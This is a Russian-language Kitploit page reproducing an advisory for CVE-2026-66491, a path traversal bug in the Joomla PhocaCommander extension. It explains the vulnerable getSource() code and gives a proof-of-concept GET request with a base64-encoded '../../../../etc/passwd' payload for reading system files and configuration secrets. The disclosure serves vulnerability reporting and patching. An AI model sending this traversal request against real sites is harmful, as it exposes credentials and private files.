Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66491 — Расширение Joomla PhocaCommander уязвимо к обходу пути (Path Traversal) в функции getSource — CVSS 8.2 | Kitploit
Инструменты/GitHubGitHub/toanln-cov/cve-2026-66491
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubtoanln-cov/cve-2026-66491

CVE-2026-66491

Расширение Joomla PhocaCommander уязвимо к обходу пути (Path Traversal) в функции getSource — CVSS 8.2

Репозиторий
101 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Произвольное чтение файлов через getSource() в PhocaCommander

PhocaCommander ≤ 6.1.3 — обход пути (Path Traversal) аутентифицированного администратора, CSRF не требуется

CVE CVSS v4.0 CWE-22 Affected Researcher


КРАТКОЕ ОПИСАНИЕ

Уязвимость произвольного чтения файлов существует в конечной точке редактора файлов PhocaCommander. Функция getSource() декодирует параметр filename из base64 и передаёт его напрямую в file_get_contents() без проверки ограничения пути. Аутентифицированный администратор может прочитать любой файл, доступный процессу веб-сервера, — включая файлы за пределами корневой директории веб-сайта, — просто отправив GET-запрос. CSRF-токен не требуется.

Эксплуатация раскрывает учётные данные базы данных Joomla и секретный ключ из configuration.php, а также позволяет читать системные файлы, такие как /etc/passwd, с помощью последовательностей обхода пути (например, ../../../../etc/passwd).


ЗАТРАГИВАЕМЫЕ ВЕРСИИ

КОМПОНЕНТУЯЗВИМЫЕПРОТЕСТИРОВАНО НАИСПРАВЛЕНО
PhocaCommander1.0.0 – 6.1.3Joomla 5.4.7 + PhocaCommander 6.1.3 (PHP 8.2 / Apache)6.1.4

ДЕТАЛИ УЯЗВИМОСТИ

Требуется аутентификация: Сессия администратора (CSRF-токен не требуется — GET-запрос)

Файл: administrator/components/com_phocacommander/models/phocacommanderedit.php

Первопричина

getSource() декодирует filename из base64 и напрямую конкатенирует его с JPATH_ROOT, после чего читает файл без проверки ограничения пути:

PHOCACOMMANDEREDIT.PHP — УЯЗВИМЫЙ КОД

root@kitploit:~
public function getSource($fileName) {
    $fileName = base64_decode($fileName); // ← attacker-controlled
    $item = new stdClass;
    if (PhocaCommanderHelper::fileExists(JPATH_ROOT . '/' . $fileName)) {
        $item->source = file_get_contents(JPATH_ROOT . '/' . $fileName); // ← no containment check
    }
    return $item;
}

fileExists() использует is_file(Path::clean($file)). Path::clean() нормализует слеши, но не удаляет последовательности ../, поэтому обходы пути беспрепятственно покидают пределы корневой директории веб-сайта.

В кодовой базе имеется getContainedRealPath() в helpers/phocacommander.php, который выполняет корректную проверку ограничения пути на основе realpath(). Он вызывается из save() и download(), но никогда не был добавлен в getSource(). Кроме того, метод edit() контроллера вызывается через GET, поэтому стандартные проверки CSRF-токена не применяются — активной cookie сессии администратора достаточно для запуска произвольного чтения файлов.


ПОДТВЕРЖДЕНИЕ КОНЦЕПЦИИ

Сценарий 1 — Чтение /etc/passwd через обход пути за пределами корневой директории веб-сайта

1. Войдите в панель администратора Joomla

Аутентифицируйтесь через страницу входа администратора, чтобы получить действительную cookie сессии. Никаких дополнительных привилегий помимо стандартной сессии администратора не требуется.

2. Чтение /etc/passwd через обход пути - за пределами корневой директории веб-сайта

Отправьте следующий GET-запрос с base64-закодированным путём обхода:

root@kitploit:~
GET /administrator/index.php?option=com_phocacommander&task=phocacommanderedit.edit&filename=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Cookie: [admin session]

filename декодирован: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../../etc/passwd

Разрешённый путь: /var/www/html/../../../../etc/passwd = /etc/passwd

Редактор выводит полное содержимое /etc/passwd, что подтверждает доступ на чтение за пределами корневой директории веб-сайта.

ЗАПРОС / ОТВЕТ

Запрос и ответ Burp Suite, показывающие содержимое /etc/passwd, выведенное в редакторе Joomla


ВОЗДЕЙСТВИЕ

  1. Раскрытие системных файлов — SSH-ключи и файлы конфигурации совместно размещённых приложений доступны (если они читаемы процессом веб-сервера)
  2. Взаимодействие не требуется — Атака представляет собой один GET-запрос, без CSRF-токена, без отправки формы и без взаимодействия с жертвой
  3. Цепочка повышения привилегий — Раскрытый секретный ключ позволяет подделывать токены Joomla в офлайн-режиме, расширяя поверхность атаки на целевой сайт

ССЫЛКИ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66491
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66491
  • Репозиторий разработчика: https://github.com/PhocaDesign/PhocaCommander
Скачать инструмент